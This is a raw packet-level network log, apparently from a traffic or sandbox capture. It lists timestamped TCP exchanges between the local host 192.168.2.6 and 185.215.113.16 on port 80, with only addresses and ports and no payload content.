Oct 24, 2024 04:58:14.884330988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.887013912 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.887033939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.887061119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.887120962 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.925003052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.925046921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.925112963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.925137043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.925156116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.925189018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.925219059 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.926515102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.926532030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.926549911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.926579952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.926603079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929590940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929636955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929653883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929688931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929688931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929708004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929716110 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929725885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929753065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929755926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929766893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929770947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929789066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929795980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929805040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929805040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929822922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929827929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929838896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929853916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929864883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929871082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929896116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929899931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929908991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929918051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929938078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929944992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929959059 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.929959059 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929977894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.929986954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.930001974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.930002928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.930027008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.930038929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.930052042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.930066109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.930083036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.930099010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.930109024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.930131912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.930156946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.935843945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.935872078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.935887098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.935945034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.935945034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.935945034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.935987949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.936019897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.936037064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.936053038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.936078072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.936077118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.936096907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.936115026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.936115026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.936135054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.936168909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.953305960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.953337908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.953351974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.953380108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.953392982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.953413010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.953423977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.953576088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.953628063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.953669071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.954334974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.954385996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.954435110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.954468966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.954483986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.954502106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.954510927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.954524994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.954566956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959223032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959250927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959264994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959336042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959400892 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959459066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959474087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959497929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959511042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959527969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959566116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959567070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959616899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959631920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959646940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959676981 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959701061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959722996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959738016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959758997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959774971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959780931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959780931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959793091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959810972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959820032 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959826946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959844112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959846020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959868908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959887981 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959892035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959908962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959937096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959949970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959949970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.959952116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959961891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959978104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959992886 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.959995031 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960019112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960038900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960088015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960103989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960118055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960144043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960144043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960186958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960216045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960231066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960237980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960261106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960274935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960278034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960294008 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960339069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960361958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960412025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960450888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960467100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960481882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960499048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960500956 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960515976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960522890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960522890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960552931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960552931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960589886 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960604906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960622072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960654020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960664988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960691929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960726976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960751057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960767031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960782051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.960782051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960804939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.960822105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.999968052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.999988079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000004053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000019073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000046968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000051022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000065088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000082016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000097990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000108957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000108957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000114918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000122070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000132084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000152111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000159979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000164986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000176907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000197887 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000200987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000210047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000240088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000253916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000260115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000276089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000278950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000292063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000303030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000308037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000324011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000325918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000325918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000344992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000349998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000359058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000375986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000391960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000407934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000416040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000435114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000437021 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000452042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000458002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000469923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000473976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000485897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000487089 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000504971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000515938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000521898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000531912 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000555992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000559092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000569105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000572920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000588894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000592947 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000606060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000616074 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000624895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000631094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000639915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000642061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000660896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000665903 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000677109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000684977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000694990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.000703096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000719070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.000730991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002760887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002777100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002794027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002820015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002820969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002845049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002852917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002863884 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002876043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002880096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002888918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002897978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002906084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002914906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002918959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002932072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002932072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.002957106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.002969980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.034065962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.034085035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.034101009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.034121990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.034131050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.034145117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.042108059 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.042128086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.042145014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.042191982 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.042248964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.043602943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.043618917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.043633938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.043668985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.043697119 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046761990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046788931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046803951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046840906 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046843052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046854973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046859980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046876907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046890020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046900988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046905041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046912909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046921968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046938896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046948910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046960115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046974897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.046982050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.046998024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047013998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047044992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047066927 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047086954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047113895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047131062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047144890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047161102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047172070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047198057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047219992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047288895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047306061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047333002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047347069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047374964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047374964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047382116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047400951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047418118 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047434092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.047446966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047471046 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.047492981 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.053069115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053085089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053100109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053116083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.053139925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.053153038 CEST	80	49996	185.215.113.16	192.168.2.6
